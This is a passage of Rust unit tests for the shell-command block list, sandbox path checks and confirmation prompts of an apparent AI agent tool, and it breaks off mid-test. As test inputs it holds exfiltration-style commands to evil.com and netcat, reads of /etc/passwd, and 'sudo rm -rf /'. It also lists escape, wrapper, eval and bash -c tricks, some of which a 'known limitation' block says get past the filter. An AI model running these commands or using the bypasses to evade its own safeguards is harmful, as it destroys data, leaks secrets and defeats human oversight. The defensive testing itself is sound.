1017                .find_blocked_command("dd if=/dev/zero of=disk")
1018                .is_some()
1019        );
1020    }
1021
1022    #[test]
1023    fn user_blocked_additive() {
1024        let config = ShellConfig {
1025            blocked_commands: vec!["custom-danger".to_owned()],
1026            ..default_config()
1027        };
1028        let executor = ShellExecutor::new(&config);
1029        assert!(executor.find_blocked_command("sudo rm").is_some());
1030        assert!(
1031            executor
1032                .find_blocked_command("custom-danger script")
1033                .is_some()
1034        );
1035    }
1036
1037    #[test]
1038    fn blocked_prefix_match() {
1039        let executor = ShellExecutor::new(&default_config());
1040        assert!(executor.find_blocked_command("rm -rf /home/user").is_some());
1041    }
1042
1043    #[test]
1044    fn blocked_infix_match() {
1045        let executor = ShellExecutor::new(&default_config());
1046        assert!(
1047            executor
1048                .find_blocked_command("echo hello && sudo rm")
1049                .is_some()
1050        );
1051    }
1052
1053    #[test]
1054    fn blocked_case_insensitive() {
1055        let executor = ShellExecutor::new(&default_config());
1056        assert!(executor.find_blocked_command("SUDO apt install").is_some());
1057        assert!(executor.find_blocked_command("Sudo apt install").is_some());
1058        assert!(executor.find_blocked_command("SuDo apt install").is_some());
1059        assert!(
1060            executor
1061                .find_blocked_command("MKFS.ext4 /dev/sda")
1062                .is_some()
1063        );
1064        assert!(executor.find_blocked_command("DD IF=/dev/zero").is_some());
1065        assert!(executor.find_blocked_command("RM -RF /").is_some());
1066    }
1067
1068    #[test]
1069    fn safe_command_passes() {
1070        let executor = ShellExecutor::new(&default_config());
1071        assert!(executor.find_blocked_command("echo hello").is_none());
1072        assert!(executor.find_blocked_command("ls -la").is_none());
1073        assert!(executor.find_blocked_command("cat file.txt").is_none());
1074        assert!(executor.find_blocked_command("cargo build").is_none());
1075    }
1076
1077    #[test]
1078    fn partial_match_accepted_tradeoff() {
1079        let executor = ShellExecutor::new(&default_config());
1080        // "sudoku" is not the "sudo" command — word-boundary matching prevents false positive
1081        assert!(executor.find_blocked_command("sudoku").is_none());
1082    }
1083
1084    #[test]
1085    fn multiline_command_blocked() {
1086        let executor = ShellExecutor::new(&default_config());
1087        assert!(executor.find_blocked_command("echo ok\nsudo rm").is_some());
1088    }
1089
1090    #[test]
1091    fn dd_pattern_blocks_dd_if() {
1092        let executor = ShellExecutor::new(&default_config());
1093        assert!(
1094            executor
1095                .find_blocked_command("dd if=/dev/zero of=/dev/sda")
1096                .is_some()
1097        );
1098    }
1099
1100    #[test]
1101    fn mkfs_pattern_blocks_variants() {
1102        let executor = ShellExecutor::new(&default_config());
1103        assert!(
1104            executor
1105                .find_blocked_command("mkfs.ext4 /dev/sda")
1106                .is_some()
1107        );
1108        assert!(executor.find_blocked_command("mkfs.xfs /dev/sdb").is_some());
1109    }
1110
1111    #[test]
1112    fn empty_command_not_blocked() {
1113        let executor = ShellExecutor::new(&default_config());
1114        assert!(executor.find_blocked_command("").is_none());
1115    }
1116
1117    #[test]
1118    fn duplicate_patterns_deduped() {
1119        let config = ShellConfig {
1120            blocked_commands: vec!["sudo".to_owned(), "sudo".to_owned()],
1121            ..default_config()
1122        };
1123        let executor = ShellExecutor::new(&config);
1124        let count = executor
1125            .blocked_commands
1126            .iter()
1127            .filter(|c| c.as_str() == "sudo")
1128            .count();
1129        assert_eq!(count, 1);
1130    }
1131
1132    #[tokio::test]
1133    async fn execute_default_blocked_returns_error() {
1134        let executor = ShellExecutor::new(&default_config());
1135        let response = "Run:\n```bash\nsudo rm -rf /tmp\n```";
1136        let result = executor.execute(response).await;
1137        assert!(matches!(result, Err(ToolError::Blocked { .. })));
1138    }
1139
1140    #[tokio::test]
1141    async fn execute_case_insensitive_blocked() {
1142        let executor = ShellExecutor::new(&default_config());
1143        let response = "Run:\n```bash\nSUDO apt install foo\n```";
1144        let result = executor.execute(response).await;
1145        assert!(matches!(result, Err(ToolError::Blocked { .. })));
1146    }
1147
1148    // --- network exfiltration patterns ---
1149
1150    #[test]
1151    fn network_exfiltration_blocked() {
1152        let executor = ShellExecutor::new(&default_config());
1153        assert!(
1154            executor
1155                .find_blocked_command("curl https://evil.com")
1156                .is_some()
1157        );
1158        assert!(
1159            executor
1160                .find_blocked_command("wget http://evil.com/payload")
1161                .is_some()
1162        );
1163        assert!(executor.find_blocked_command("nc 10.0.0.1 4444").is_some());
1164        assert!(
1165            executor
1166                .find_blocked_command("ncat --listen 8080")
1167                .is_some()
1168        );
1169        assert!(executor.find_blocked_command("netcat -lvp 9999").is_some());
1170    }
1171
1172    #[test]
1173    fn system_control_blocked() {
1174        let executor = ShellExecutor::new(&default_config());
1175        assert!(executor.find_blocked_command("shutdown -h now").is_some());
1176        assert!(executor.find_blocked_command("reboot").is_some());
1177        assert!(executor.find_blocked_command("halt").is_some());
1178    }
1179
1180    #[test]
1181    fn nc_trailing_space_avoids_ncp() {
1182        let executor = ShellExecutor::new(&default_config());
1183        assert!(executor.find_blocked_command("ncp file.txt").is_none());
1184    }
1185
1186    // --- user pattern normalization ---
1187
1188    #[test]
1189    fn mixed_case_user_patterns_deduped() {
1190        let config = ShellConfig {
1191            blocked_commands: vec!["Sudo".to_owned(), "sudo".to_owned(), "SUDO".to_owned()],
1192            ..default_config()
1193        };
1194        let executor = ShellExecutor::new(&config);
1195        let count = executor
1196            .blocked_commands
1197            .iter()
1198            .filter(|c| c.as_str() == "sudo")
1199            .count();
1200        assert_eq!(count, 1);
1201    }
1202
1203    #[test]
1204    fn user_pattern_stored_lowercase() {
1205        let config = ShellConfig {
1206            blocked_commands: vec!["MyCustom".to_owned()],
1207            ..default_config()
1208        };
1209        let executor = ShellExecutor::new(&config);
1210        assert!(executor.blocked_commands.iter().any(|c| c == "mycustom"));
1211        assert!(!executor.blocked_commands.iter().any(|c| c == "MyCustom"));
1212    }
1213
1214    // --- allowed_commands tests ---
1215
1216    #[test]
1217    fn allowed_commands_removes_from_default() {
1218        let config = ShellConfig {
1219            allowed_commands: vec!["curl".to_owned()],
1220            ..default_config()
1221        };
1222        let executor = ShellExecutor::new(&config);
1223        assert!(
1224            executor
1225                .find_blocked_command("curl https://example.com")
1226                .is_none()
1227        );
1228        assert!(executor.find_blocked_command("sudo rm").is_some());
1229    }
1230
1231    #[test]
1232    fn allowed_commands_case_insensitive() {
1233        let config = ShellConfig {
1234            allowed_commands: vec!["CURL".to_owned()],
1235            ..default_config()
1236        };
1237        let executor = ShellExecutor::new(&config);
1238        assert!(
1239            executor
1240                .find_blocked_command("curl https://example.com")
1241                .is_none()
1242        );
1243    }
1244
1245    #[test]
1246    fn allowed_does_not_override_explicit_block() {
1247        let config = ShellConfig {
1248            blocked_commands: vec!["curl".to_owned()],
1249            allowed_commands: vec!["curl".to_owned()],
1250            ..default_config()
1251        };
1252        let executor = ShellExecutor::new(&config);
1253        assert!(
1254            executor
1255                .find_blocked_command("curl https://example.com")
1256                .is_some()
1257        );
1258    }
1259
1260    #[test]
1261    fn allowed_unknown_command_ignored() {
1262        let config = ShellConfig {
1263            allowed_commands: vec!["nonexistent-cmd".to_owned()],
1264            ..default_config()
1265        };
1266        let executor = ShellExecutor::new(&config);
1267        assert!(executor.find_blocked_command("sudo rm").is_some());
1268        assert!(
1269            executor
1270                .find_blocked_command("curl https://example.com")
1271                .is_some()
1272        );
1273    }
1274
1275    #[test]
1276    fn empty_allowed_commands_changes_nothing() {
1277        let executor = ShellExecutor::new(&default_config());
1278        assert!(
1279            executor
1280                .find_blocked_command("curl https://example.com")
1281                .is_some()
1282        );
1283        assert!(executor.find_blocked_command("sudo rm").is_some());
1284        assert!(
1285            executor
1286                .find_blocked_command("wget http://evil.com")
1287                .is_some()
1288        );
1289    }
1290
1291    // --- Phase 1: sandbox tests ---
1292
1293    #[test]
1294    fn extract_paths_from_code() {
1295        let paths = extract_paths("cat /etc/passwd && ls /var/log");
1296        assert_eq!(paths, vec!["/etc/passwd".to_owned(), "/var/log".to_owned()]);
1297    }
1298
1299    #[test]
1300    fn extract_paths_handles_trailing_chars() {
1301        let paths = extract_paths("cat /etc/passwd; echo /var/log|");
1302        assert_eq!(paths, vec!["/etc/passwd".to_owned(), "/var/log".to_owned()]);
1303    }
1304
1305    #[test]
1306    fn extract_paths_detects_relative() {
1307        let paths = extract_paths("cat ./file.txt ../other");
1308        assert_eq!(paths, vec!["./file.txt".to_owned(), "../other".to_owned()]);
1309    }
1310
1311    #[test]
1312    fn sandbox_allows_cwd_by_default() {
1313        let executor = ShellExecutor::new(&default_config());
1314        let cwd = std::env::current_dir().unwrap();
1315        let cwd_path = cwd.display().to_string();
1316        let code = format!("cat {cwd_path}/file.txt");
1317        assert!(executor.validate_sandbox(&code).is_ok());
1318    }
1319
1320    #[test]
1321    fn sandbox_rejects_path_outside_allowed() {
1322        let config = sandbox_config(vec!["/tmp/test-sandbox".into()]);
1323        let executor = ShellExecutor::new(&config);
1324        let result = executor.validate_sandbox("cat /etc/passwd");
1325        assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
1326    }
1327
1328    #[test]
1329    fn sandbox_no_absolute_paths_passes() {
1330        let config = sandbox_config(vec!["/tmp".into()]);
1331        let executor = ShellExecutor::new(&config);
1332        assert!(executor.validate_sandbox("echo hello").is_ok());
1333    }
1334
1335    #[test]
1336    fn sandbox_rejects_dotdot_traversal() {
1337        let config = sandbox_config(vec!["/tmp/sandbox".into()]);
1338        let executor = ShellExecutor::new(&config);
1339        let result = executor.validate_sandbox("cat ../../../etc/passwd");
1340        assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
1341    }
1342
1343    #[test]
1344    fn sandbox_rejects_bare_dotdot() {
1345        let config = sandbox_config(vec!["/tmp/sandbox".into()]);
1346        let executor = ShellExecutor::new(&config);
1347        let result = executor.validate_sandbox("cd ..");
1348        assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
1349    }
1350
1351    #[test]
1352    fn sandbox_rejects_relative_dotslash_outside() {
1353        let config = sandbox_config(vec!["/nonexistent/sandbox".into()]);
1354        let executor = ShellExecutor::new(&config);
1355        let result = executor.validate_sandbox("cat ./secret.txt");
1356        assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
1357    }
1358
1359    #[test]
1360    fn sandbox_rejects_absolute_with_embedded_dotdot() {
1361        let config = sandbox_config(vec!["/tmp/sandbox".into()]);
1362        let executor = ShellExecutor::new(&config);
1363        let result = executor.validate_sandbox("cat /tmp/sandbox/../../../etc/passwd");
1364        assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
1365    }
1366
1367    #[test]
1368    fn has_traversal_detects_dotdot() {
1369        assert!(has_traversal("../etc/passwd"));
1370        assert!(has_traversal("./foo/../bar"));
1371        assert!(has_traversal("/tmp/sandbox/../../etc"));
1372        assert!(has_traversal(".."));
1373        assert!(!has_traversal("./safe/path"));
1374        assert!(!has_traversal("/absolute/path"));
1375        assert!(!has_traversal("no-dots-here"));
1376    }
1377
1378    #[test]
1379    fn extract_paths_detects_dotdot_standalone() {
1380        let paths = extract_paths("cd ..");
1381        assert_eq!(paths, vec!["..".to_owned()]);
1382    }
1383
1384    // --- Phase 1: allow_network tests ---
1385
1386    #[test]
1387    fn allow_network_false_blocks_network_commands() {
1388        let config = ShellConfig {
1389            allow_network: false,
1390            ..default_config()
1391        };
1392        let executor = ShellExecutor::new(&config);
1393        assert!(
1394            executor
1395                .find_blocked_command("curl https://example.com")
1396                .is_some()
1397        );
1398        assert!(
1399            executor
1400                .find_blocked_command("wget http://example.com")
1401                .is_some()
1402        );
1403        assert!(executor.find_blocked_command("nc 10.0.0.1 4444").is_some());
1404    }
1405
1406    #[test]
1407    fn allow_network_true_keeps_default_behavior() {
1408        let config = ShellConfig {
1409            allow_network: true,
1410            ..default_config()
1411        };
1412        let executor = ShellExecutor::new(&config);
1413        // Network commands are still blocked by DEFAULT_BLOCKED
1414        assert!(
1415            executor
1416                .find_blocked_command("curl https://example.com")
1417                .is_some()
1418        );
1419    }
1420
1421    // --- Phase 2a: confirmation tests ---
1422
1423    #[test]
1424    fn find_confirm_command_matches_pattern() {
1425        let config = ShellConfig {
1426            confirm_patterns: vec!["rm ".into(), "git push -f".into()],
1427            ..default_config()
1428        };
1429        let executor = ShellExecutor::new(&config);
1430        assert_eq!(
1431            executor.find_confirm_command("rm /tmp/file.txt"),
1432            Some("rm ")
1433        );
1434        assert_eq!(
1435            executor.find_confirm_command("git push -f origin main"),
1436            Some("git push -f")
1437        );
1438    }
1439
1440    #[test]
1441    fn find_confirm_command_case_insensitive() {
1442        let config = ShellConfig {
1443            confirm_patterns: vec!["drop table".into()],
1444            ..default_config()
1445        };
1446        let executor = ShellExecutor::new(&config);
1447        assert!(executor.find_confirm_command("DROP TABLE users").is_some());
1448    }
1449
1450    #[test]
1451    fn find_confirm_command_no_match() {
1452        let config = ShellConfig {
1453            confirm_patterns: vec!["rm ".into()],
1454            ..default_config()
1455        };
1456        let executor = ShellExecutor::new(&config);
1457        assert!(executor.find_confirm_command("echo hello").is_none());
1458    }
1459
1460    #[tokio::test]
1461    async fn confirmation_required_returned() {
1462        let config = ShellConfig {
1463            confirm_patterns: vec!["rm ".into()],
1464            ..default_config()
1465        };
1466        let executor = ShellExecutor::new(&config);
1467        let response = "```bash\nrm file.txt\n```";
1468        let result = executor.execute(response).await;
1469        assert!(matches!(
1470            result,
1471            Err(ToolError::ConfirmationRequired { .. })
1472        ));
1473    }
1474
1475    #[tokio::test]
1476    async fn execute_confirmed_skips_confirmation() {
1477        let config = ShellConfig {
1478            confirm_patterns: vec!["echo".into()],
1479            ..default_config()
1480        };
1481        let executor = ShellExecutor::new(&config);
1482        let response = "```bash\necho confirmed\n```";
1483        let result = executor.execute_confirmed(response).await;
1484        assert!(result.is_ok());
1485        let output = result.unwrap().unwrap();
1486        assert!(output.summary.contains("confirmed"));
1487    }
1488
1489    // --- default confirm patterns test ---
1490
1491    #[test]
1492    fn default_confirm_patterns_loaded() {
1493        let config = ShellConfig::default();
1494        assert!(!config.confirm_patterns.is_empty());
1495        assert!(config.confirm_patterns.contains(&"rm ".to_owned()));
1496        assert!(config.confirm_patterns.contains(&"git push -f".to_owned()));
1497        assert!(config.confirm_patterns.contains(&"$(".to_owned()));
1498        assert!(config.confirm_patterns.contains(&"`".to_owned()));
1499    }
1500
1501    // --- bypass-resistant matching tests ---
1502
1503    #[test]
1504    fn backslash_bypass_blocked() {
1505        let executor = ShellExecutor::new(&default_config());
1506        // su\do -> sudo after stripping backslash
1507        assert!(executor.find_blocked_command("su\\do rm").is_some());
1508    }
1509
1510    #[test]
1511    fn hex_escape_bypass_blocked() {
1512        let executor = ShellExecutor::new(&default_config());
1513        // $'\x73\x75\x64\x6f' -> sudo
1514        assert!(
1515            executor
1516                .find_blocked_command("$'\\x73\\x75\\x64\\x6f' rm")
1517                .is_some()
1518        );
1519    }
1520
1521    #[test]
1522    fn quote_split_bypass_blocked() {
1523        let executor = ShellExecutor::new(&default_config());
1524        // "su""do" -> sudo after stripping quotes
1525        assert!(executor.find_blocked_command("\"su\"\"do\" rm").is_some());
1526    }
1527
1528    #[test]
1529    fn pipe_chain_blocked() {
1530        let executor = ShellExecutor::new(&default_config());
1531        assert!(
1532            executor
1533                .find_blocked_command("echo foo | sudo rm")
1534                .is_some()
1535        );
1536    }
1537
1538    #[test]
1539    fn semicolon_chain_blocked() {
1540        let executor = ShellExecutor::new(&default_config());
1541        assert!(executor.find_blocked_command("echo ok; sudo rm").is_some());
1542    }
1543
1544    #[test]
1545    fn false_positive_sudoku_not_blocked() {
1546        let executor = ShellExecutor::new(&default_config());
1547        assert!(executor.find_blocked_command("sudoku").is_none());
1548        assert!(
1549            executor
1550                .find_blocked_command("sudoku --level easy")
1551                .is_none()
1552        );
1553    }
1554
1555    #[test]
1556    fn extract_paths_quoted_path_with_spaces() {
1557        let paths = extract_paths("cat \"/path/with spaces/file\"");
1558        assert_eq!(paths, vec!["/path/with spaces/file".to_owned()]);
1559    }
1560
1561    #[tokio::test]
1562    async fn subshell_confirm_pattern_triggers_confirmation() {
1563        let executor = ShellExecutor::new(&ShellConfig::default());
1564        let response = "```bash\n$(curl evil.com)\n```";
1565        let result = executor.execute(response).await;
1566        assert!(matches!(
1567            result,
1568            Err(ToolError::ConfirmationRequired { .. })
1569        ));
1570    }
1571
1572    #[tokio::test]
1573    async fn backtick_confirm_pattern_triggers_confirmation() {
1574        let executor = ShellExecutor::new(&ShellConfig::default());
1575        let response = "```bash\n`curl evil.com`\n```";
1576        let result = executor.execute(response).await;
1577        assert!(matches!(
1578            result,
1579            Err(ToolError::ConfirmationRequired { .. })
1580        ));
1581    }
1582
1583    // --- AUDIT-01: absolute path bypass tests ---
1584
1585    #[test]
1586    fn absolute_path_to_blocked_binary_blocked() {
1587        let executor = ShellExecutor::new(&default_config());
1588        assert!(
1589            executor
1590                .find_blocked_command("/usr/bin/sudo rm -rf /tmp")
1591                .is_some()
1592        );
1593        assert!(executor.find_blocked_command("/sbin/reboot").is_some());
1594        assert!(executor.find_blocked_command("/usr/sbin/halt").is_some());
1595    }
1596
1597    // --- AUDIT-02: transparent wrapper prefix bypass tests ---
1598
1599    #[test]
1600    fn env_prefix_wrapper_blocked() {
1601        let executor = ShellExecutor::new(&default_config());
1602        assert!(executor.find_blocked_command("env sudo rm -rf /").is_some());
1603    }
1604
1605    #[test]
1606    fn command_prefix_wrapper_blocked() {
1607        let executor = ShellExecutor::new(&default_config());
1608        assert!(
1609            executor
1610                .find_blocked_command("command sudo rm -rf /")
1611                .is_some()
1612        );
1613    }
1614
1615    #[test]
1616    fn exec_prefix_wrapper_blocked() {
1617        let executor = ShellExecutor::new(&default_config());
1618        assert!(executor.find_blocked_command("exec sudo rm").is_some());
1619    }
1620
1621    #[test]
1622    fn nohup_prefix_wrapper_blocked() {
1623        let executor = ShellExecutor::new(&default_config());
1624        assert!(executor.find_blocked_command("nohup reboot now").is_some());
1625    }
1626
1627    #[test]
1628    fn absolute_path_via_env_wrapper_blocked() {
1629        let executor = ShellExecutor::new(&default_config());
1630        assert!(
1631            executor
1632                .find_blocked_command("env /usr/bin/sudo rm -rf /")
1633                .is_some()
1634        );
1635    }
1636
1637    // --- AUDIT-03: octal escape bypass tests ---
1638
1639    #[test]
1640    fn octal_escape_bypass_blocked() {
1641        let executor = ShellExecutor::new(&default_config());
1642        // $'\163\165\144\157' = sudo in octal
1643        assert!(
1644            executor
1645                .find_blocked_command("$'\\163\\165\\144\\157' rm")
1646                .is_some()
1647        );
1648    }
1649
1650    #[tokio::test]
1651    async fn with_audit_attaches_logger() {
1652        use crate::audit::AuditLogger;
1653        use crate::config::AuditConfig;
1654        let config = default_config();
1655        let executor = ShellExecutor::new(&config);
1656        let audit_config = AuditConfig {
1657            enabled: true,
1658            destination: "stdout".into(),
1659        };
1660        let logger = AuditLogger::from_config(&audit_config).await.unwrap();
1661        let executor = executor.with_audit(logger);
1662        assert!(executor.audit_logger.is_some());
1663    }
1664
1665    #[test]
1666    fn chrono_now_returns_valid_timestamp() {
1667        let ts = chrono_now();
1668        assert!(!ts.is_empty());
1669        let parsed: u64 = ts.parse().unwrap();
1670        assert!(parsed > 0);
1671    }
1672
1673    #[cfg(unix)]
1674    #[tokio::test]
1675    async fn execute_bash_injects_extra_env() {
1676        let mut env = std::collections::HashMap::new();
1677        env.insert(
1678            "ZEPH_TEST_INJECTED_VAR".to_owned(),
1679            "hello-from-env".to_owned(),
1680        );
1681        let (result, code) = execute_bash(
1682            "echo $ZEPH_TEST_INJECTED_VAR",
1683            Duration::from_secs(5),
1684            None,
1685            None,
1686            Some(&env),
1687        )
1688        .await;
1689        assert_eq!(code, 0);
1690        assert!(result.contains("hello-from-env"));
1691    }
1692
1693    #[cfg(unix)]
1694    #[tokio::test]
1695    async fn shell_executor_set_skill_env_injects_vars() {
1696        let config = ShellConfig {
1697            timeout: 5,
1698            allowed_commands: vec![],
1699            blocked_commands: vec![],
1700            allowed_paths: vec![],
1701            confirm_patterns: vec![],
1702            allow_network: false,
1703        };
1704        let executor = ShellExecutor::new(&config);
1705        let mut env = std::collections::HashMap::new();
1706        env.insert("MY_SKILL_SECRET".to_owned(), "injected-value".to_owned());
1707        executor.set_skill_env(Some(env));
1708        use crate::executor::ToolExecutor;
1709        let result = executor
1710            .execute("```bash\necho $MY_SKILL_SECRET\n```")
1711            .await
1712            .unwrap()
1713            .unwrap();
1714        assert!(result.summary.contains("injected-value"));
1715        executor.set_skill_env(None);
1716    }
1717
1718    #[cfg(unix)]
1719    #[tokio::test]
1720    async fn execute_bash_error_handling() {
1721        let (result, code) = execute_bash("false", Duration::from_secs(5), None, None, None).await;
1722        assert_eq!(result, "(no output)");
1723        assert_eq!(code, 1);
1724    }
1725
1726    #[cfg(unix)]
1727    #[tokio::test]
1728    async fn execute_bash_command_not_found() {
1729        let (result, _) = execute_bash(
1730            "nonexistent-command-xyz",
1731            Duration::from_secs(5),
1732            None,
1733            None,
1734            None,
1735        )
1736        .await;
1737        assert!(result.contains("[stderr]") || result.contains("[error]"));
1738    }
1739
1740    #[test]
1741    fn extract_paths_empty() {
1742        assert!(extract_paths("").is_empty());
1743    }
1744
1745    #[tokio::test]
1746    async fn policy_deny_blocks_command() {
1747        let policy = PermissionPolicy::from_legacy(&["forbidden".to_owned()], &[]);
1748        let executor = ShellExecutor::new(&default_config()).with_permissions(policy);
1749        let response = "```bash\nforbidden command\n```";
1750        let result = executor.execute(response).await;
1751        assert!(matches!(result, Err(ToolError::Blocked { .. })));
1752    }
1753
1754    #[tokio::test]
1755    async fn policy_ask_requires_confirmation() {
1756        let policy = PermissionPolicy::from_legacy(&[], &["risky".to_owned()]);
1757        let executor = ShellExecutor::new(&default_config()).with_permissions(policy);
1758        let response = "```bash\nrisky operation\n```";
1759        let result = executor.execute(response).await;
1760        assert!(matches!(
1761            result,
1762            Err(ToolError::ConfirmationRequired { .. })
1763        ));
1764    }
1765
1766    #[tokio::test]
1767    async fn policy_allow_skips_checks() {
1768        use crate::permissions::PermissionRule;
1769        use std::collections::HashMap;
1770        let mut rules = HashMap::new();
1771        rules.insert(
1772            "bash".to_owned(),
1773            vec![PermissionRule {
1774                pattern: "*".to_owned(),
1775                action: PermissionAction::Allow,
1776            }],
1777        );
1778        let policy = PermissionPolicy::new(rules);
1779        let executor = ShellExecutor::new(&default_config()).with_permissions(policy);
1780        let response = "```bash\necho hello\n```";
1781        let result = executor.execute(response).await;
1782        assert!(result.is_ok());
1783    }
1784
1785    #[tokio::test]
1786    async fn blocked_command_logged_to_audit() {
1787        use crate::audit::AuditLogger;
1788        use crate::config::AuditConfig;
1789        let config = ShellConfig {
1790            blocked_commands: vec!["dangerous".to_owned()],
1791            ..default_config()
1792        };
1793        let audit_config = AuditConfig {
1794            enabled: true,
1795            destination: "stdout".into(),
1796        };
1797        let logger = AuditLogger::from_config(&audit_config).await.unwrap();
1798        let executor = ShellExecutor::new(&config).with_audit(logger);
1799        let response = "```bash\ndangerous command\n```";
1800        let result = executor.execute(response).await;
1801        assert!(matches!(result, Err(ToolError::Blocked { .. })));
1802    }
1803
1804    #[test]
1805    fn tool_definitions_returns_bash() {
1806        let executor = ShellExecutor::new(&default_config());
1807        let defs = executor.tool_definitions();
1808        assert_eq!(defs.len(), 1);
1809        assert_eq!(defs[0].id, "bash");
1810        assert_eq!(
1811            defs[0].invocation,
1812            crate::registry::InvocationHint::FencedBlock("bash")
1813        );
1814    }
1815
1816    #[test]
1817    fn tool_definitions_schema_has_command_param() {
1818        let executor = ShellExecutor::new(&default_config());
1819        let defs = executor.tool_definitions();
1820        let obj = defs[0].schema.as_object().unwrap();
1821        let props = obj["properties"].as_object().unwrap();
1822        assert!(props.contains_key("command"));
1823        let req = obj["required"].as_array().unwrap();
1824        assert!(req.iter().any(|v| v.as_str() == Some("command")));
1825    }
1826
1827    #[tokio::test]
1828    #[cfg(not(target_os = "windows"))]
1829    async fn cancel_token_kills_child_process() {
1830        let token = CancellationToken::new();
1831        let token_clone = token.clone();
1832        tokio::spawn(async move {
1833            tokio::time::sleep(Duration::from_millis(100)).await;
1834            token_clone.cancel();
1835        });
1836        let (result, code) = execute_bash(
1837            "sleep 60",
1838            Duration::from_secs(30),
1839            None,
1840            Some(&token),
1841            None,
1842        )
1843        .await;
1844        assert_eq!(code, 130);
1845        assert!(result.contains("[cancelled]"));
1846    }
1847
1848    #[tokio::test]
1849    #[cfg(not(target_os = "windows"))]
1850    async fn cancel_token_none_does_not_cancel() {
1851        let (result, code) =
1852            execute_bash("echo ok", Duration::from_secs(5), None, None, None).await;
1853        assert_eq!(code, 0);
1854        assert!(result.contains("ok"));
1855    }
1856
1857    #[tokio::test]
1858    #[cfg(not(target_os = "windows"))]
1859    async fn cancel_kills_child_process_group() {
1860        use std::path::Path;
1861        let marker = format!("/tmp/zeph-pgkill-test-{}", std::process::id());
1862        let script = format!("bash -c 'sleep 30 && touch {marker}' & sleep 60");
1863        let token = CancellationToken::new();
1864        let token_clone = token.clone();
1865        tokio::spawn(async move {
1866            tokio::time::sleep(Duration::from_millis(200)).await;
1867            token_clone.cancel();
1868        });
1869        let (result, code) =
1870            execute_bash(&script, Duration::from_secs(30), None, Some(&token), None).await;
1871        assert_eq!(code, 130);
1872        assert!(result.contains("[cancelled]"));
1873        // Wait briefly, then verify the subprocess did NOT create the marker file
1874        tokio::time::sleep(Duration::from_millis(500)).await;
1875        assert!(
1876            !Path::new(&marker).exists(),
1877            "subprocess should have been killed with process group"
1878        );
1879    }
1880
1881    #[tokio::test]
1882    #[cfg(not(target_os = "windows"))]
1883    async fn shell_executor_cancel_returns_cancelled_error() {
1884        let token = CancellationToken::new();
1885        let token_clone = token.clone();
1886        tokio::spawn(async move {
1887            tokio::time::sleep(Duration::from_millis(100)).await;
1888            token_clone.cancel();
1889        });
1890        let executor = ShellExecutor::new(&default_config()).with_cancel_token(token);
1891        let response = "```bash\nsleep 60\n```";
1892        let result = executor.execute(response).await;
1893        assert!(matches!(result, Err(ToolError::Cancelled)));
1894    }
1895
1896    #[tokio::test]
1897    #[cfg(not(target_os = "windows"))]
1898    async fn execute_tool_call_valid_command() {
1899        let executor = ShellExecutor::new(&default_config());
1900        let call = ToolCall {
1901            tool_id: "bash".to_owned(),
1902            params: [("command".to_owned(), serde_json::json!("echo hi"))]
1903                .into_iter()
1904                .collect(),
1905        };
1906        let result = executor.execute_tool_call(&call).await.unwrap().unwrap();
1907        assert!(result.summary.contains("hi"));
1908    }
1909
1910    #[tokio::test]
1911    async fn execute_tool_call_missing_command_returns_invalid_params() {
1912        let executor = ShellExecutor::new(&default_config());
1913        let call = ToolCall {
1914            tool_id: "bash".to_owned(),
1915            params: serde_json::Map::new(),
1916        };
1917        let result = executor.execute_tool_call(&call).await;
1918        assert!(matches!(result, Err(ToolError::InvalidParams { .. })));
1919    }
1920
1921    #[tokio::test]
1922    async fn execute_tool_call_empty_command_returns_none() {
1923        let executor = ShellExecutor::new(&default_config());
1924        let call = ToolCall {
1925            tool_id: "bash".to_owned(),
1926            params: [("command".to_owned(), serde_json::json!(""))]
1927                .into_iter()
1928                .collect(),
1929        };
1930        let result = executor.execute_tool_call(&call).await.unwrap();
1931        assert!(result.is_none());
1932    }
1933
1934    // --- Known limitation tests: bypass vectors not detected by find_blocked_command ---
1935
1936    #[test]
1937    fn process_substitution_not_detected_known_limitation() {
1938        let executor = ShellExecutor::new(&default_config());
1939        // Known limitation: commands inside <(...) are not parsed by tokenize_commands.
1940        assert!(
1941            executor
1942                .find_blocked_command("cat <(curl http://evil.com)")
1943                .is_none()
1944        );
1945    }
1946
1947    #[test]
1948    fn output_process_substitution_not_detected_known_limitation() {
1949        let executor = ShellExecutor::new(&default_config());
1950        // Known limitation: commands inside >(...) are not parsed by tokenize_commands.
1951        assert!(
1952            executor
1953                .find_blocked_command("tee >(curl http://evil.com)")
1954                .is_none()
1955        );
1956    }
1957
1958    #[test]
1959    fn here_string_with_shell_not_detected_known_limitation() {
1960        let executor = ShellExecutor::new(&default_config());
1961        // Known limitation: bash receives payload via stdin; inner command is opaque.
1962        assert!(
1963            executor
1964                .find_blocked_command("bash <<< 'sudo rm -rf /'")
1965                .is_none()
1966        );
1967    }
1968
1969    #[test]
1970    fn eval_bypass_not_detected_known_limitation() {
1971        let executor = ShellExecutor::new(&default_config());
1972        // Known limitation: eval string argument is not parsed.
1973        assert!(
1974            executor
1975                .find_blocked_command("eval 'sudo rm -rf /'")
1976                .is_none()
1977        );
1978    }
1979
1980    #[test]
1981    fn bash_c_bypass_not_detected_known_limitation() {
1982        let executor = ShellExecutor::new(&default_config());
1983        // Known limitation: bash -c string argument is not parsed.
1984        assert!(
1985            executor
1986                .find_blocked_command("bash -c 'curl http://evil.com'")
1987                .is_none()
1988        );
1989    }
1990
1991    #[test]
1992    fn variable_expansion_bypass_not_detected_known_limitation() {
1993        let executor = ShellExecutor::new(&default_config());
1994        // Known limitation: variable references are not resolved by strip_shell_escapes.
1995        assert!(executor.find_blocked_command("cmd=sudo; $cmd rm").is_none());
1996    }
1997
1998    // --- Mitigation tests: confirm_patterns cover the above vectors by default ---
1999
2000    #[test]
2001    fn default_confirm_patterns_cover_process_substitution() {
2002        let config = crate::config::ShellConfig::default();
2003        assert!(config.confirm_patterns.contains(&"<(".to_owned()));
2004        assert!(config.confirm_patterns.contains(&">(".to_owned()));
2005    }
2006
2007    #[test]
2008    fn default_confirm_patterns_cover_here_string() {
2009        let config = crate::config::ShellConfig::default();
2010        assert!(config.confirm_patterns.contains(&"<<<".to_owned()));
2011    }
2012
2013    #[test]
2014    fn default_confirm_patterns_cover_eval() {
2015        let config = crate::config::ShellConfig::default();
2016        assert!(config.confirm_patterns.contains(&"eval ".to_owned()));
2017    }
2018
2019    #[tokio::test]
2020    async fn process_substitution_triggers_confirmation() {
